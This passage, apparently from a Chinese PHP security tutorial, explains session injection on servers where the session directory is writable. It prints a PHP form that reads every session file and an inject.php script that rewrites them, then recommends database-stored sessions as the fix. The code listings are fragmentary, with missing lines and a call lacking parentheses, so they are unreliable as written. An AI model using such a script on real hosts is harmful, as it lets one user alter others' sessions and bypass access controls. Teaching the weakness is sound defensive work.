一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
07 |
<form action= "inject.php" method= "POST" > |
11 |
$path = ini_get ( 'session.save_path' ); |
14 |
while ( $filename = $handle ->read()) |
16 |
if ( substr ( $filename , 0, 5) == 'sess_' ) |
18 |
$sess_data = file_get_contents ( "$path/$filename" ); |
20 |
if (! empty ( $sess_data )) |
22 |
session_decode( $sess_data ); |
23 |
$sess_data = $_SESSION ; |
26 |
$sess_name = substr ( $filename , 5); |
27 |
$sess_name = htmlentities( $sess_name , ENT_QUOTES, 'UTF-8' ); |
28 |
echo "<h1>Session [$sess_name]</h1>" ; |
30 |
foreach ( $sess_data as $name => $value ) |
32 |
$name = htmlentities( $name , ENT_QUOTES, 'UTF-8' ); |
33 |
$value = htmlentities( $value , ENT_QUOTES, 'UTF-8' ); |
37 |
name=\"{ $sess_name }[{ $name }]\" |
51 |
<input type= "submit" /> |
脚本inject.php执行由表单所指定的修改:
05 |
$path = ini_get ( 'session.save_path' ); |
07 |
foreach ( $_POST as $sess_name => $sess_data ) |
09 |
$_SESSION = $sess_data ; |
10 |
$sess_data = session_encode; |
12 |
file_put_contents ( "$path/$sess_name" , $sess_data ); |
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。